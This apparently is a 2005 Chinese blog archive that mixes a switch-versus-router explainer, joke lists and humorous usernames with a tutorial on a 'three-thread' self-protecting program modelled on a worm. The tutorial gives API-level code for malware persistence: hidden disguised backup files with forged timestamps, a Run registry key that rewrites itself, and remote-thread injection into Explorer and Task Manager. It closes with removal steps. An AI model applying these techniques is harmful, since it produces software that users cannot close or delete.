  最初的的交换机是工作在OSI/RM开放体系结构的数据链路层,也就是第二层,而路由器一开始就设计工作在OSI模型的网络层。由于交换机工作在OSI的第二层(数据链路层),所以它的工作原理比较简单,而路由器工作在OSI的第三层(网络层),可以得到更多的协议信息,路由器可以做出更加智能的转发决策。 

  (2)数据转发所依据的对象不同 

  交换机是利用物理地址或者说MAC地址来确定转发数据的目的地址。而路由器则是利用不同网络的ID号(即IP地址)来确定数据转发的地址。IP地址是在软件中实现的,描述的是设备所在的网络,有时这些第三层的地址也称为协议地址或者网络地址。MAC地址通常是硬件自带的,由网卡生产商来分配的,而且已经固化到了网卡中去,一般来说是不可更改的。而IP地址则通常由网络管理员或系统自动分配。 

  (3)传统的交换机只能分割冲突域,不能分割广播域;而路由器可以分割广播域 

  由交换机连接的网段仍属于同一个广播域,广播数据包会在交换机连接的所有网段上传播,在某些情况下会导致通信拥挤和安全漏洞。连接到路由器上的网段会被分配成不同的广播域,广播数据不会穿过路由器。虽然第三层以上交换机具有VLAN功能,也可以分割广播域,但是各子广播域之间是不能通信交流的,它们之间的交流仍然需要路由器。 

  (4)路由器提供了防火墙的服务 

  路由器仅仅转发特定地址的数据包,不传送不支持路由协议的数据包传送和未知目标网络数据包的传送,从而可以防止广播风暴。 

  交换机一般用于LAN-WAN的连接,交换机归于网桥,是数据链路层的设备,有些交换机也可实现第三层的交换。 路由器用于WAN-WAN之间的连接,可以解决异性网络之间转发分组,作用于网络层。他们只是从一条线路上接受输入分组,然后向另一条线路转发。这两条线路可能分属于不同的网络,并采用不同协议。相比较而言,路由器的功能较交换机要强大,但速度相对也慢,价格昂贵,第三层交换机既有交换机线速转发报文能力,又有路由器良好的控制功能,因此得以广泛应用。 

  目前个人比较多宽带接入方式就是ADSL,因此笔者就ADSL的接入来简单的说明一下。现在购买的ADSL猫大多具有路由功能(很多的时候厂家在出厂时将路由功能屏蔽了,因为电信安装时大多是不启用路由功能的,启用DHCP。打开ADSL的路由功能),如果个人上网或少数几台通过ADSL本身就可以了,如果电脑比较多你只需要再购买一个或多个集线器或者交换机。考虑到如今集线器与交换机的 价格相差十分小,不是特殊的原因,请购买一个交换机。不必去追求高价,因为如今产品同质化十分严重,我最便宜的交换机现在没有任 何问题。给你一个参考报价,建议你购买一个8口的,以满足扩充需求,一般的价格100元左右。接上交换机,所有电脑再接到交换机上就行了。余下所要做的事情就只有把各个机器的网线插入交换机的接口,将猫的网线插入uplink接口。然后设置路由功能,DHCP等, 就可以共享上网了。 

  看完以上的解说读者应该对交换机、集线器、路由器有了一些了解,目前的使用主要还是以交换机、路由器的组合使用为主,具体的组合方式可根据具体的网络情况和需求来确定。

2005年05月12日

  我很衰,不只是我自己倒霉,就连谁对我好或者我对谁好,谁都会倒霉。

  1.出生的时候,刚好赶上了接生护士失恋,我由于没在第一时间哭出声来,结果被她一顿暴打.

  2.一岁的时候,刚学会爬着走路,满屋子爬,结果在我的床下摸到了一个老鼠夹.据说那个老鼠夹买回来两年了,一只老鼠没夹着,第一次夹到的就是我的手。

  3.两岁的时候,我学会了走路。在家里和爸妈捉迷藏.我躲在我的床下,结果踩到了另一个老鼠夹.据说这个老鼠夹买回来三年了,第一次夹到的就是我的腿.

  4.三岁的时候,我想下楼梯。隔壁的张老太说要牵我下楼梯,免得摔着。结果话没说完,她就直接摔下楼梯了。从四楼顺着楼梯摔到了一楼,直接跨入老年痴呆阶段。

  5.四岁的时候,警察叔叔牵我过马路,我还没说谢谢。他就被辆摩托车撞到了马路对面,一级残疾。

  6.五岁的时候,爸爸送我去幼儿园.幼儿园阿姨夸我长得很漂亮.话刚说完,五楼就掉了个花瓶下来,直接命中了阿姨的头盖骨.

  7.六岁的时候,第一次上动物园.我说,那头公熊猫比那头母熊猫好看.第二天,那头被我夸我的熊猫死于难产。

  8.七岁的时候,我上了小学。期末考试,数学老师说我考了59分,就算60分好了。第二天,数学老师死于车祸。

  9.八岁的时候,我夸我们班那位女生长得好漂亮。五分钟后,这位女生赶上了罕见的流星雨.

  10.九岁的时候,我学会了抢劫。我拦路抢劫了一个五岁的小朋友.结果被他一顿暴打.他自称是少林寺俗家弟子.

  11.十岁的时候,我和小胖一块上厕所。小胖夸我上厕所的样子真帅,我正准备说谢谢,小胖已经掉进了厕所。

  12.十一岁的时候,老师问我三七等于多少,我说三七二十一.老师说,你真聪明,话没说完死于心脏病。

  13.十二岁的时候,小学毕业考试。监考老师对我说,快抓紧时间,时间不多了。我说,谢谢老师的提醒。刚说完,老师头顶的电风扇掉落了……

  14.十三岁的时候,我读初中了。我之前的经历吓得没人敢和我接近。只有一个号称大胆的王姓同学跟我说了一句:我不相信你会这么背,当天下午,王大胆被两头公牛追了八条街.

  15.十四岁的时候,老师要我们写作文,题目叫<我们的大桥>.我在作文里提到:城里的那座大桥很雄伟…….第二天,我去上课的时候,发现那座大桥突然倒塌了

  16.十五岁的时候,我喜欢上了一个女孩.我不敢说出来,怕害了她.可我控制不了自己,终于我挑了个晴朗天气在学校空旷的操场上跟她表白.据天气预报说,当天绝对不会有流星雨。可当我表白后,地震发生了,我看着这位女孩哭着掉进了裂层中……

  17.十六岁的时候,我读高中了。我喜欢上了踢足球,对方守门员夸我球踢得不错。于是,球门突然倒塌了……

  18.十七岁的时候,我跟着人群去观摩跳楼实景.结果,我被他压在了身下……两个月后,我和他双双出院.在住院部门口,他对我说谢谢我救了他.于是,他被另一个跳楼的压在了身下,这次他没能幸免于难……

  19.十八岁的时候,我成年了。我第一次上银行取钱,结果碰上了劫匪抢银行。柜台小姐跟说:嘘…别出声,不然劫匪会杀人的。话音未落,柜台小姐被劫匪打成了麻花……

  20.十九岁的时候上大学与同学一起喝酒,四人喝了两瓶酒,三人跟着阎王走。我受到开除留校察看处分……

  21.二十岁的时候,我跟同学说,坐飞机比坐火车安全。于是,飞机开始往下掉……

  22.二十一岁的时候,我跟爸爸说,有机会的话我一定要到美国的双子楼去看看.于是,911发生了……

  23.二十二的时候,我和同事打赌,中国队在世界杯上一定可以取得好成绩。于是……后来,有个全国性的研讨会邀请我列席,主题是我为什么这么倒霉.当我把我的事迹提交到组委会后,主题换成了我为什么这么走运.我旁听。

  24.二十三岁的时候,四月,我辞去银行工作到一家航空旅游公司,不久非典来了。公司倒闭……

  25.同年,失业在家,的确闲来无事,谈了一女友,老一套过后该ks了,结果口罩对口罩……

  26.见很多人大发“非典”财,俺心动,凑了15万元拉了一车蔬菜,到北京就有人出25万买下,哼!再等等,没35万免谈,第三天,菜价平稳了,菜开始烂了,赶紧找买主,对方出价3000元,卖了……

  27.中国有句老话:哪跌倒的就从哪儿爬起!俺发现口罩一直供不应求,价格走高,开始办厂,生产“帅”牌口罩。用废料很省钱,一天赚了一万。第二天,工商,技术监督局把俺厂封了,罚款3万……

  28.看来俺不是做生意的料,当官吧!俺花了4.8万给局长,他答应给俺搞定!明天就上班。第二天,俺去了,局长被检察院的车带走了,俺的钱不但打了水漂,还把俺弄进去了……

  29.一个月后俺取保候审,刚到家,女友倒在了医院听说是得了“非典”,我到时她走了。嘴上戴着“帅”牌口罩……

  30.我还是走正道吧。跟“爱吃饭”网友学上网,在她的鼓励下我发了一个贴子叫《看贴为什么要回贴》她大加赞美,赶紧跟贴,结果她的电脑“中招”电脑几乎报废。第二天我又发了一个贴子叫《看贴我就爱不回贴,怎的?》她吓的不敢回贴了,结果她公司的电脑全部瘫痪……

  31.网上认识了三女网友:第一个声音很甜——56岁;第二个20岁靓,但mm不喜欢男生;第三个21岁,漂亮,有才,喜欢男生,喜欢我,见面时,我给她讲了一个笑话,一口气没上来,笑死了…..

  32.本来很多网友看了此贴想帮着顶哈.但是由于看贴不回贴被笑死了…

2005年05月02日

2003年经典帖子之一】:好N B的蚂蚁
  
   【搞笑等级】:★★★★★
  
   【入选理由】:立意独特,令人喷饭,奇思妙想,非常人所及。于不可及之处而
想,在不可言之处落笔,蝼蚁憾象,虽荒谬,但令人回味无穷。
  
   【妙语采撷】:
  一只蚂蚁在路上看见一头大象,蚂蚁钻进土里,只有一只腿露在外面。

  小兔子看见不解的问:“为什么把腿露在外面?蚂蚁说:“嘘!别出声,老子绊他龟-儿子一

跤!”

  第二天,兔子看见整窝的蚂蚁排着队急匆匆赶路,问何故?

  蚂蚁答:“昨天有头大象被我们一兄弟绊倒,摔成重伤,我们给那丫献血。”

  没多久,兔子见大批蚂蚁又回来了,就问怎么回事,一只蚂蚁说:“哦,只有一个跟那大象

的血型一致,留他一个在那抽血呢,足够。”

  第三天兔子赶来问蚂蚁:那丫活了吗?蚂蚁无可奈何的说:我把它抬回去了,妈的真重,腰

都累弯了,那丫也太不经得摔了!

  大象病好后要告蚂蚁,法庭判决,蚂蚁绊倒大象属恶意伤害,监禁6个月。

  蚂蚁不服,“人身伤害罪最多监禁2月,为何判我半年?”

  法官:“人身伤害罪判2月,绊倒大象为种族歧视罪,追加4个月~~~”

  于是蚂蚁向高级法院提出诉状:我等与大象本来平等,何来“歧视”,请高院明判,还我等

清白,另诉法官诬陷罪。

  一天兔子忽然看见一只大象躲在树后面,将一只腿伸在外面。就问:“ 你在干什么啊?”

  大象说:“嘘!别出声,我TMD等那蚂蚁龟-儿子来,好拌他丫一下,为我兄弟报仇。”

  兔子刚离开大象就听见大象一声惨叫,于是马上跑回去看,途中遇见一只蚂蚁在路边喘气。

兔子还没问蚂蚁就听蚂蚁自己说话了:TMD想整老子,还好我发现的早。把脚给它踩断了哈!!

  大象又被送回了医院,因为股动脉被踩断,这次失血更多,连输80L还不够,血库告急,而那

只唯一与大象血型的相符的蚂蚁已经在上次输血后虚脱了。

  过了几天大象突然死了,大家跑去看它。发现她旁边有只母蚂蚁。就问它大象是怎么死的。

母蚂蚁哭着说:我就告诉它说我怀了它的孩子它就~~~~

  母蚂蚁产了一堆卵,孵啊孵啊,结果孵出一群鸵鸟,靠!大象死的真TMD冤啊


——————————————————————-

【经典帖子之二】:手机掉进马桶里

【搞笑等级】:★★★★☆
  
   【入选理由】:本文突发奇想,密切联系实际,绘粹经典,虽有仿制当年小鸡为
什么过马路之嫌,但还算精品。
  
   【妙语采撷】:
  
   布什:我们将轰炸所有厕所,然后出动地面部队搜索每一个马桶,我知道这是一个长期的战

争,务必要将手机找到。

  拉登:我否认曾经策划使用手机来袭击马桶的事件。

  赵忠祥:在一望无际的马桶里面,突然窜出了一只手机,这只受伤的手机在马桶里面挣扎着

,然而大自然是残酷的,这只手机终于消失在茫茫的下水道里。

  倪萍:请换一个马桶。

  崔永元:公说公有理,婆说婆有理,手机掉在马桶里,到底谁有理。我们现场请来这只手机

,让他来谈一谈掉在马桶里的亲身感受。

  幸运52:二个字,第一个是人身上的零件,第二个的读音跟妓女的俗称相同,二个字连起来

以后可以放在手里打……(说“手”了,PASS);还是二个字,第一个字是可以骑的动物,第二个

字是可以坐的物品,连起来以后是可以蹲的日用品,刘德华曾经唱过这首歌。(马桶?对了,加

300分。)

  广告:今年过节不掉机,要掉就掉马桶里。

  冯巩:以后对着马桶就可以说话了,多方便啊。

  姜昆:我早知道手机会掉在马桶里的,我就是不说;这么破的手机掉在马桶里一点也不奇怪

,如果不掉在马桶里反而奇怪了。

  雪村:老张便急到厕所,蹲啦;手机掉在马桶里,冲啦。

  赵本山:(背着手在马桶前若无其事的踱来踱去,一看到没人就往马桶里望了一下)怎么还没

人往马桶里掉手机呢?

    大师:这个手机圆满了!

  周星驰:(一脸严肃的慢慢的从马桶里取出已经干在一坨屎里的手机)手机加马桶果然有搞头

,哇拷,里面还有一坨屎。

  化学老师:请往马桶里放盐,手机会慢慢浮上来的。

  电脑老师:首先,我们来格式化马桶,这样屎跟手机都会清除掉,然后重装马桶系统,在重

装系统前请对手机做好备份。

  中国电信:为了确保手机接收质量,我们打算在厕所内建一信号塔;

  中国联通:为了公开测试CDMA的话音质量,我们决定在马桶里接听您的来电!

  搜狐:“手机掉在马桶里”已经入选2001搜狐10大另类新闻。

  新浪:据说这个手机是搜狐总裁如厕时观看那是大哥新闻不慎跌落的,由于这条新闻未经证

实,所以不作为新浪网的观点,有关这个手机的最新消息,我们将进行追踪报道。

  网易:网易隆重推出“打捞手机–online”测试版,我们将把这只手机奖给第一个从网上成

功打捞的网友。

  人民网:北京时间2002年1月18日1点30分,苏州网友无情剑在上厕所时不慎将一只诺基亚

3310手机掉落在马桶内,由于马桶内杂物众多,截止到记者发稿时,打捞工作仍在紧张有序的进

行中。

  腾讯QQ:添加到马桶超时,请返回上一页重新掉一次。

  华军软件园:下载掉在马桶里的手机,速度快,分类齐,方便又合理。

  易趣:出售二手手机。

  联众:【系统消息】现在那只手机正准备要掉到马桶里,请会员朋友到厕所里来旁观。

  中国万网:尊敬的客户,您好!您的问题经过我们对马桶的仔细测试,发现是您手机掉落的

方式不对,所以请捡起后重新丢到马桶里或者登陆马桶自行处理。

  微软:手机会掉到马桶里是手机和马桶之间的兼容问题,请下载最新补丁或者升级您的手机

  爱立信:这只手机之所以会掉到马桶里,只不过是我们的技术人员在作测试。

  诺基亚:可能是因为这几款手机没有外天线的原因,所以会导致手机滑落到马桶里。

  奔驰:在此之前,我们已经通知该用户,手机故障与该用户长期使用方言通话有关,但是该

用户竟然公开将手机丢在马桶里,对于这种行为我们保留起诉该用户的权利。

  天气预报:明天厕所里的气温为38度,马桶里水的冲力为3级,建议喜欢将手机往马桶里掉的

朋友到别的地方大便。

  开心厨房:其实从马桶里捞手机就和从火锅里捞白菜差不多,用筷子就解决了,弄出来以后

好好洗洗,然后用刀将粘在上面的物质去掉,在使用的时候注意戴上手套并离脸部远一点。

  公安:封锁现场,不要冲水;

  警察:有困难找警察,请打110,注意不要用手机打!


———————————————————-

【经典帖子之八】:如何分辨章鱼的手和脚

【搞笑等级】:★★★
  
   【入选理由】:不枉一看。
  
   【妙语采撷】:
  
   ……
  
   方法3:放个屁给牠闻,会摀住鼻子的就是手,其它的就是脚。
  
   方法4:给牠一台计算机,放在键盘上的就是手,盘在椅子上缩起来的就是脚。
  
   方法5:夏天到了,会抓香港脚的就是手,被抓的当然就是脚啰。
  
   方法6:往它身上撒一把土,抓起毛巾的就是手,其它就是脚。
  
   方法7:丢100百元在地上,先踩住的是教,然后拿起来的是手。
  
   方法8:冬天到了,捂住脑袋的是手。
  
————————————————–

卡片友情赠送:


BBS上网友的搞笑网名


善解人衣


  松下裤带子


  粑粑(注:这个很阴险,用智能的一不小心就会打成‘爸爸’)


  儿童不遗


  扮完病人扮护士


  很有粪量的人


  把把帅交出来


  bt就是b里有个t


  梅川酷子


  猪是的念来过倒


  我实在是非常想看一看到底在这里申请多长的id才会受到限制是不是一定要长到海枯石烂泪

成灰而骨化石才会遭到天谴


  扎女孩的小辫子


  卖姑娘的小火柴


  采姑娘的老蘑菇


  板砖猛抽脸


  靠!怎么搞的!


  男名牌本科体健貌端无不良嗜好有住房


  穿过你的黑发的我的脚


  我妈妈叫我不要告诉陌生男人我的名字和电话号码


  床前明月光地上鞋两双抬头望明月低头吃香蕉


  上帝啊如果你开眼的话请你赐给我一个爷们吧


  几十个美女说我帅,我没承认,他们就用砖头砸我,说我虚伪


  今天早上喝的是稀饭中午拉的是稀屎晚上吃的是屎泡饭


  烟酰胺腺嘌呤二核苷酸磷酸氧化还原酶辅酶


  老甜甜


  你们的名字长我比不了我的名字短我认输ok


  我想起个好名字可是我想不出起个什么好名字


  自从上网以后不管到哪里注册我都要为起什么名字而烦恼


  我的id是假冒的,大家不要相信我是骗子


  男名牌本科体健貌端无不良嗜好有住房年薪百万名字长


  其实名字多长无所谓有没有人中意够不够bt是不是个性都没关系说到底关键是看论允不允许

那么长的名字


  捞猴子的月亮


  帅得不敢上厕所


  下半身思考的有为青年


  千呼万唤“屎“出来


  无所谓,会躺着就行了


  这次一定要把密码记住


  酸菜~上翠花


  愤怒的射手


  多情贱客无情贱


  爱生活,爱拉登


  胸部未见明显异常


  我是你的宠物


  越王够贱


  我把青春献给猫扑猫扑却把我关进了小黑屋


  将28车骑到年底


  拿俺37的脚踹你52的脸


  别信我,我在说谎


  生你不如生块叉烧


  一天到晚红烧的鱼

2005年04月30日

作者注:
本文相关程序T-Mouse v2.0是一个基于“三线程”的诱鼠器。它具有强大的自我保护功能,一般情况下很难将其关闭,结束或删除。

 

一> 前言
中国黑客(worm.runouce)病毒在国内出现以后,各大反病毒公司都对其进行了“仔细”的分析,得出一个结论:“中国黑客”发现了全球首创的“三线程”结构。这是金*公司对外的宣传词,我个人对病毒没什么研究,并且我对worm.runouce没有任何的个人看法,不过我可以确信的是很多反病毒公司往往在夸大事实,目的只有一个:让更多的用户觉得某某病毒很可怕,让更多的用户相信只有某某公司的杀毒软件才可以彻底将病毒清除掉。其实三线程并没有好高深的技术,不过ideal is wonderful。现在就让我们一步步揭开三线程程序开发的神秘面纱。

二> 三线程程序开发思路
在操作系统中,进程是存储器,外设等资源的分配单位,同时也是处理器调度的对象,但为了提高进程内的并发性,windows系统中引入了线程这个概念(在很多其他操作系统中同样也有线程的概念,由于在2001年微软停止了window9x内核的研发,所以本文只针对windowx2000/xp操作系统),这时系统把线程作为处理器调度的对象,一个进程可以同时拥有多个并发的线程。通常情况下的简单程序就只有一个主线程,它是在进程创建时自动生成的。我们可以将想要执行的代码放在主线程里,然后再生成两个辅助线程,它们的功能就是实现对程序的保护功能,防止程序被用户关闭或删除。在此,称我们的可执行文件的进程为主进程。

主线程需要完成的任务有三个,它们分别是准备工作,创建辅助线程和程序主要功能的实现。准备工作当然是为程序运行过程中所需要的一些部件做好准备,其中包括文件复制和保存,一般情况下是把可执行文件复制到系统目录下。当然为了防止意外删除,我们可以将程序的可执行文件备份,不过要注意修改一些属性(文件类型,大小,日期,属性),这样就不容易被发现与我们的可执行文件有关联了。创建辅助线程包括两个线程,一个驻留在主进程体内,另一个通过创建远程线程驻留到其他正在运行的进程体内。这两个线程的功能就是监视其他进程或线程的运行情况,如果出现异常立即恢复。程序的主要功能就不用多说了,想干什么就干什么,一般是一些不想让用户关闭的程序。

驻留主进程体内的线程同时观察注册表和远程进程的情况。它实时查询注册表里 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run键下相关可执行文件的键值,如果被删除就立即将其添加上。这就是对注册表的实时监视,使得每次开机时都会运行我们的可执行文件。而另一个功能则是监视驻留在远程进程体内辅助线程的运行情况,如果该线程被关闭,立即通过创建远程线程将被关闭的线程驻留到特定的进程内。如果你知道了辅助线程是驻留在那个进程内的,你就可以将这个远程进程关闭掉。但是我们还是可以将辅助线程驻留到其他的远程进程内。至于选定哪个远程进程,完全视你的心情而定。

驻留在远程进程体内的辅助线程则监视主进程的运行情况,如果主进程被kill了,它会确认程序的可执行文件是否也被删除掉了。如果系统目录下的可执行文件不存在了,则用我们备份的文件恢复可执行文件,然后再重新启动程序,这样你在任务管理器里怎么也删除不了主进程。由于我们是创建远程线程,所以必须把线程的代码和线程所需要的参数都复制到远程进程的地址空间里。这是因为在windows2000/xp环境下,访问其他进程地址空间是违规的。我们把代码和参数复制过去后,线程就完全在远程进程的地址空间运行了。我们可以看到,通过两个辅助线程,就很难把主进程关闭或删除掉。

现在我们就以一个诱鼠器为例,来分析三线程的程序结构,如下图:

|———->———-|
remote —<— T-mouse —>— watch —>— Registry
|——————–<———————|

其中T-mouse为主进程/主线程,remote为创建的远程线程,watch为本地的辅助监视线程,Registry为注册表文件。T-mouse创建remote和watch两个线程,remote监视T-mouse主进程,watch监视注册表文件和remote线程。

三> 核心代码分析
本文的程序仅针对windows2000/xp操作系统,程序中使用的UNICODE编码。测试环境:Windows2000 + SP2 + VC6.0。整个程序分主线程main,本地辅助监视线程watch,远程线程remote,还包括获得进程ID的processtopid和创建远程线程的createremote两个自定义函数。

1.主线程:main
GetSystemDirectory(syspath,MAX_PATH);
//获得操作系统的系统目录;
FindFirstFile(tname,&fdata);
//查询系统目录下的T-mouse.exe是否存在;
CopyFile(curname,tname,TRUE);
//如果系统目录下没有,在将正在运行的程序复制到系统目录下;
FindClose(ffhandle);
//在查询完毕后,关闭相关句柄;
CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
//打开系统目录下的备份文件kernel.dll;
SetFileTime(fchandle,&ftime,NULL,&ftime);
//修改kernel.dll的创建时间,修改时间;
SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );
//设置kernel.dll的属性为只读,系统及隐藏;
CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
//创建驻留在主进程内的辅助监视线程

2.本地辅助监视线程:watch
RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_value,&hkey);
//以查询方式打开注册表的HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run;
RegQueryvalueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
//查询是否存在T-mouse的键值;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
//如果没有相关键值,就以写方式再次打开注册表;
RegSetvalueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
//写入我们想要的东西,系统每次启动都会运行我们的可执行文件;
GetExitCodeThread(wethread,&exitcode);
//获得远程线程的运行情况,看是否为STILL_ACTIVE,如果不是则创建远程线程;

3.远程线程:remote
tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
//以所有可能的访问方式打开主进程,以便监视主进程的运行情况;
tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
//等待直到主进程结束;
tWinExec(erp->rpwinexecname, 0);
//重新启动我们的可执行文件;

4.获得进程ID:processtopid
EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
//列举所有的进程
OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses);
//以查询信息和读取的方式打开进程
EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
//获得进程模块的句柄
GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
//获得特定模块的名字,以备比较

5.创建远程线程:createremote
OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
//PROCESS_CREATE_THREAD for CreateRemoteThread
//PROCESS_VM_OPERATIONfor VirtualAllocEx
//PROCESS_VM_WRITEfor WriteProcessMemory
VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//在远程进程中分配空间,以备将线程代码置入其中;
WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
//将远程线程remote的代码写入到远程进程的地址空间中
WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
//将远程线程所需的参数也写入到远程进程的地址空间中
CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
//创建远程监视线程

四> 小结与后记
我们已经看到,创建三线程就是为了更好的保护程序自身不被关闭和删除。两个辅助线程相互实时监视,如果监视对象被关闭了,就重新创建线程或进程。其实,在程序中我们选择的远程进程驻体为Explorer.exe和Taskmgr.exe。在通常情况下,如果用户知道了远程线程的驻体为资源管理器后,就会打开任务管理器来结束Explorer,这时我们再把远程线程驻入到任务管理器中。也就是说,只要Explorer或Taskmgr有一个存在,就不可能结束主进程。如果有其他Kill进程的工具,你就可以将其关闭掉,只要资源管理器和任务管理器均不存在时,就没有驻体来维持远程进程。不过,如果我们选择的远程进程为随机的,这就不容易发现了;如果我们选择的远程进程为系统文件(如smss.exe会话管理器),那么你是不会安全的结束远程线程,除非系统崩溃。

如何不用其他的工具将其关闭并删除呢?你也可以进入到DOS或Safe模式下,将系统目录下的可执行文件删除,然后重启系统。这时,就不会自动运行程序了,然后将注册表里RUN键下的相关键值,系统目录下的备份文件及首次运行的可执行文件删除就彻底清楚了。在调试程序时,为了对远程线程的运行情况有所了解,我们使用了工具Dbgview.exe。